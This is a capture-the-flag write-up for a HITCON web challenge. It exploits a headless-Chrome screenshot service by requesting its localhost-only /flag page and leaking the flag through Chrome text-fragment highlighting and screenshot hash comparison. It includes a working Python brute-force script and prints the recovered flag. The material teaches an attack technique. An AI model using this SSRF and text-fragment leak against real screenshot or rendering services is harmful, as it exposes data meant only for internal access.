Description :

Can you break it?
http://3.113.172.41/

Initial steps

When we open the challenge url we are provided with this :

mainpage

So what the challenge does, is that it launches a docker container (1 per minute max) for each player. we also can download the source of the docker container, but let's take a look at what happens when we lauch our container first.

When we launch our container we are presented with this page :

index

If we type https://www.google.com in the input and hit the Go button it gives us a url to an image.
When we visit the image we see this :

google
we can clearly see that it took a screenshot of google search main page but it's blurred (it's not your internet connection xD)

Now it's time to take a look at the source code of the challenge

app.py :

# coding: UTF-8
import io, os, sys, uuid

from subprocess import run, PIPE
from hashlib import md5

from PIL import Image
from selenium import webdriver, common
from flask import Flask, render_template, request

secret = run(['/read_secret'], stdout=PIPE).stdout
FLAG   = 'hitcon{%s}' % '-'.join(md5(secret).hexdigest())
def init_chrome():
    options = webdriver.ChromeOptions()
    options.add_argument('--headless')
    options.add_argument('--disable-gpu')
    options.add_argument('--disable-dev-shm-usage')
    options.add_argument('--window-size=1920x1080')
    options.add_experimental_option("prefs", {
        'download.prompt_for_download': True, 
        'download.default_directory': '/dev/null'
    })

    driver = webdriver.Chrome(options=options)
    driver.set_page_load_timeout(5)
    driver.set_script_timeout(5)

    return driver

def message(msg):
    return render_template('index.html', msg=msg)

### initialize ###
driver = init_chrome()
app = Flask(__name__)
### initialize ###

@app.route('/flag')
def flag():
    if request.remote_addr == '127.0.0.1':
        return message(FLAG)
    return message("allow only from local")

@app.route('/', methods=['GET'])
def index():
    return render_template('index.html')

@app.route('/submit', methods=['GET'])
def submit():
    path = 'static/images/%s.png' % uuid.uuid4().hex
    url  = request.args.get('url')
    if url:
        # secrity check
        if not url.startswith('http://') and not url.startswith('https://'):
            return message(msg='malformed url')

        # access url
        try:
            driver.get(url)
            data = driver.get_screenshot_as_png()
        except common.exceptions.WebDriverException as e:
            return message(msg=str(e))

        # save result
        img = Image.open(io.BytesIO(data))
        img = img.resize((64,64), resample=Image.BILINEAR)
        img = img.resize((1920,1080), Image.NEAREST)
        img.save(path)

        return message(msg=path)
    else:
        return message(msg="url not found :(")

if __name__ == '__main__':
    app.run('0.0.0.0', 8000)

first thing we notice is that the flag is in /flag , but it will only show the it if the request is coming from 127.0.0.1.

FLAG   = 'hitcon{%s}' % '-'.join(md5(secret).hexdigest())
.
.
. # rest of the code
.
.
@app.route('/flag')
def flag():
    if request.remote_addr == '127.0.0.1':
        return message(FLAG)
    return message("allow only from local")

So when we try to screenshot the flag, that's what we get :

pixflag

Now we have to understand two things, first thing is why the image is blurred, and second thing is how does the app take the screenshot

the answer to the first question is because of this snippet :

        img = Image.open(io.BytesIO(data))
        img = img.resize((64,64), resample=Image.BILINEAR)
        img = img.resize((1920,1080), Image.NEAREST)
        img.save(path)

when we read pillow docs at https://pillow.readthedocs.io/en/stable/handbook/concepts.html#concept-filters

we understood that the application resizes the image to 64x64 using bilinear resample option

PIL.Image.BILINEAR

    For resize calculate the output pixel value using linear interpolation on all pixels that may contribute to the output value. For other transformations linear interpolation over a 2x2 environment in the input image is used.

then resizes it back to the original size using nearest

PIL.Image.NEAREST

    Pick one nearest pixel from the input image. Ignore all other input pixels.

By reading this we already figured out that it's almost impossible to recover the flag from the image.

Now we want to check how does the app take the screenshot to see if we can manipulate something in the process.

First thing we can see that it uses chrome

 def init_chrome():
    options = webdriver.ChromeOptions()
    options.add_argument('--headless')
    options.add_argument('--disable-gpu')
    options.add_argument('--disable-dev-shm-usage')
    options.add_argument('--window-size=1920x1080')
    options.add_experimental_option("prefs", {
        'download.prompt_for_download': True, 
        'download.default_directory': '/dev/null'
    })

    driver = webdriver.Chrome(options=options)
    driver.set_page_load_timeout(5)
    driver.set_script_timeout(5)

    return driver
.
. # some code
.
driver = init_chrome()
.
. # more code
.
@app.route('/submit', methods=['GET'])
def submit():
    path = 'static/images/%s.png' % uuid.uuid4().hex
    url  = request.args.get('url')
    if url:
        # secrity check
        if not url.startswith('http://') and not url.startswith('https://'):
            return message(msg='malformed url')

        # access url
        try:
            driver.get(url)
            data = driver.get_screenshot_as_png()
        except common.exceptions.WebDriverException as e:
            return message(msg=str(e))

The application also makes sure that our input starts with http:// or https:// otherwise it will fail.

At this point we realized that we have to abuse something in chrome and it's the new feature of chrome called text fragments this feature of chrome works like the web page search ctrl + f but with more options and it can be used using the location.hash part of a url.

For example if we take a screenshot of http://localhost:8000/flag#:~:text=hitcon{,} we get this image :

frag

#:~:text=hitcon{,} commands the browser to highlight any text starting with hitcon{ and ending with }

So we can use this feature to leak the content of the web page by bruteforcing each character of the flag individually.

and looking at this

FLAG   = 'hitcon{%s}' % '-'.join(md5(secret).hexdigest())

we know that 0123456789abcdef- (hex and dashes) are the only characters in the flag.

so we want to make a script to leak the flag but first we had to find a way to detect images with highlighted text programmatically.

We downloaded a few screenshots of http://localhost:8000/flag generated by the app and we noticed that it's the exact same image each time so it'll have the same md5 hash each time an image doesn't have a highlighted text, and the hash was 59562acafb6436ea5fdf660ec57df0cc otherwise it means that some text is highlighted which means that the character we are trying is part of the flag.

So we made a script to leak the flag

exploit.py :

import sys, os
from bs4 import BeautifulSoup
import requests
from urllib.parse import unquote

target = sys.argv[1]
flag=""
payload = "http://localhost:8000/flag%23:~:text=hitcon{#flag,}"
chars="0123456789abcdef"

def get_img(char):
        res = requests.get(target+"submit?url="+payload.replace("#flag",flag+char)).text
        soup = BeautifulSoup(res, 'html.parser')
        link = soup.find_all('a')[0]
        os.system("wget -q "+target+link.get('href')+" -O "+flag+char)
        return flag+char

def is_valid(image):
        hash = os.popen("cat "+image+" |md5sum").read()
        os.system("rm "+image)
        return ("59562acafb6436ea5fdf660ec57df0cc" not in hash)

for index in range(32):
        for char in chars :
                img_name = get_img(char)
                if is_valid(img_name) :
                        flag += char+"%252d"  # %252d => double url encoded '-'
                        print("[+] hitcon{"+unquote(unquote(flag))[:-1]+"}")
                        break

and here's the output

flag

and here's the flag hitcon{1-1-4-1-6-1-e-9-f-9-4-c-7-3-e-4-9-7-a-7-5-d-4-6-6-c-6-3-3-7-f-4}

Categories: CTFsWeb